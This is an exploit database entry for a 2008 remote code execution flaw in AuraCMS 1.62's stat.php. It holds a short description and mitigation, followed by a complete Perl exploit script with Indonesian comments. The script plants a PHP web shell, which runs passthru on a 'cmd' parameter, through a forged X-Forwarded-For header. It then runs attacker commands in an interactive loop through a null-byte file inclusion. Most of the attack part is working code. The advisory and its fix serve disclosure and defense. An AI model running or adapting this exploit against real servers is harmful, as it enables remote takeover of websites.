AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit

vendor:

AuraCMS

by:

k1tk4t

8.8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: AuraCMS

Affected Version From: 1.62

Affected Version To: 1.62

Patch Exists: YES

Related CWE: N/A

CPE: a:auracms:auracms:1.62

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

AuraCMS 1.62 – (stat.php) Remote Code Execution Exploit

A vulnerability exists in AuraCMS 1.62, where an attacker can inject malicious code into the stat.php file in the /mod directory. This code is then stored in the online.db.txt file, which can be used to execute arbitrary code. The vulnerability is due to the lack of input validation on the HTTP_X_FORWARDED_FOR variable. To exploit this vulnerability, an attacker can send a crafted HTTP request with a malicious payload in the HTTP_X_FORWARDED_FOR variable. This payload will then be stored in the online.db.txt file, which can be used to execute arbitrary code.

Mitigation:

Input validation should be performed on the HTTP_X_FORWARDED_FOR variable to prevent malicious code injection.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 1.62 - (stat.php) Remote Code Execution Exploit
# Waktu			:  Jan 16 2008 10:00PM
# Software		:  AuraCMS 1.62  
#			   AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
# Vendor		:  http://www.auracms.org/
# Ditemukan oleh	:  k1tk4t  |  http://newhack.org
# Lokasi		:  Indonesia
# Penjelasan		:
# 
# Kutu pada berkas "stat.php" didalam direktori /mod pada aplikasi web auracms 1.62
# ---//---
# 17. Function User_Online ($minutes, $NamaFile){
# 18. //$ip = $REMOTE_ADDR;
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (getenv("HTTP_X_FORWARDED_FOR") == ''){
# 21. $ip = getenv("REMOTE_ADDR");	
# 22. }
# ---//---
# 47. fseek($f,0,SEEK_SET);
# 48. ftruncate($f,0);
# 49. array_pop($user);
# 50. foreach ($user as $line)
# 51.  	{
# 52. 	list($savedip,$savedtime) = split("\|",$line);
# 53. 	if ($savedip == $ip) {$savedtime = $time;$found = 1;}
# 54. 	if ($time < $savedtime + ($minutes * 60)) 
# 55. 		{
# 56. 		fputs($f,"$savedip|$savedtime\n");
# 57. 		$users = $users + 1;
# 58. 		}
# 59. 	}
# 60. 
# 61. if ($found == 0) 
# 62. 	{
# 63. 	fputs($f,"$ip|$time\n");
# 64. 	$users = $users + 1;
# 65. 	}
# 66. 
# 67. fclose ($f);
# ---//---
#
# Sebagai Contoh;
# $ip = getenv("HTTP_X_FORWARDED_FOR");
# $ip = <?php phpinfo() ?>  # <-- user menginjeksi phpinfo
# format yang tersimpan
# <?php phpinfo() ?>|WAKTUBERKUNJUNG
#
# pada AuraCMS versi 1.62, log di simpan pada berkas /mod/online.db.txt [Default]
# 
# pada Mod Block Statistik, log disimpan pada berkas /logs/online.db.txt [Default]
#
# pada AuraCMS versi 2.x mod "online", getenv("HTTP_X_FORWARDED_FOR") bisa berakibat terjadinya "SQL Injection"
#
# => "Perbaikan Kutu stat.php"
# ---//---
# 19. $ip = getenv("HTTP_X_FORWARDED_FOR");
# 20. if (preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', getenv("HTTP_X_FORWARDED_FOR")) == ''){
# 21. $ip = getenv("REMOTE_ADDR");
# 22. }
# ---//---
# 
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# saya[k1tk4t] dan "Indonesian Newhack Technology" tidak bertanggung jawab akan kerusakan 
# yang diakibatkan dari penyalahgunaan exploit oleh pihak lain     
#
# =>
# Terima Kasih untuk;
# -[opt1lc, fl3xu5, ghoz]-
# str0ke, DNX, xoron, y3dips, L41n, cyb3rh3b, K-159, the_hydra, NoGe
# nyubi, iFX, sin~X, k1n9k0ng, bius, selikoer, aldy_BT
# Komunitas Security dan Hacker Indonesia
#
# ----------------------------[Mulai]------------------------------------
use IO::Socket;

if(!$ARGV[2])
{
 print "\n  |-------------------------------------------------------|";
 print "\n  |            Indonesian Newhack Technology              |";
 print "\n  |-------------------------------------------------------|";
 print "\n  | AuraCMS 1.62 (stat.php) Remote Code Execution Exploit |";
 print "\n  |                  Coded by k1tk4t                      |";
 print "\n  |-------------------------------------------------------|";
 print "\n[!] ";
 print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port]";
 print "\n[!] Contoh     : perl auracms22.pl localhost /aura162/ 80";
 print "\n[!] ";
 print "\n";
 exit;
}

$oriserver = $ARGV[0];
$orihost   = "http://".$oriserver;
$oridir    = $ARGV[1];
$oriport   = $ARGV[2];

print "- Melakukan Koneksi $orihost$oridir\r\n";
  
$injurl = "index.php?pilih=stat&mod=yes";
$injeksi = $oridir.$injurl;
$kodeterlarang = "<?php echo t4mugel4p;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?>";
print "- Sedang menginjeksi kode jahat\r\n";
$injkode =  IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $injkode "GET ".$injeksi." HTTP/1.1\n";
print $injkode "Host: ".$oriserver."\r\n";
print $injkode "X-Forwarded-For: ".$kodeterlarang."\r\n";
print $injkode "\r\n\r\n";
close ($injkode);

while($perintah !~ "mati") 
{
$ekseurl = "index.php?pilih=online.db.txt%00&mod=yes&cmd=".$perintah."";
$eksekusi = $oridir.$ekseurl;
print "- Sedang mencoba menjalankan kode injeksi\r\n";
$eksekode =  IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Koneksi Gagal...\r\n";
print $eksekode "GET ".$eksekusi." HTTP/1.1\n";
print $eksekode "Host: ".$oriserver."\r\n";
print $eksekode "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";
print $eksekode "Accept: */*\r\n";
print $eksekode "Connection: close\r\n\n";

while ($hasil = <$eksekode>)
	{ 
	print $hasil; 
	}
print "[+]perintah => ";
$perintah = <STDIN>;  
}

# milw0rm.com [2008-01-18]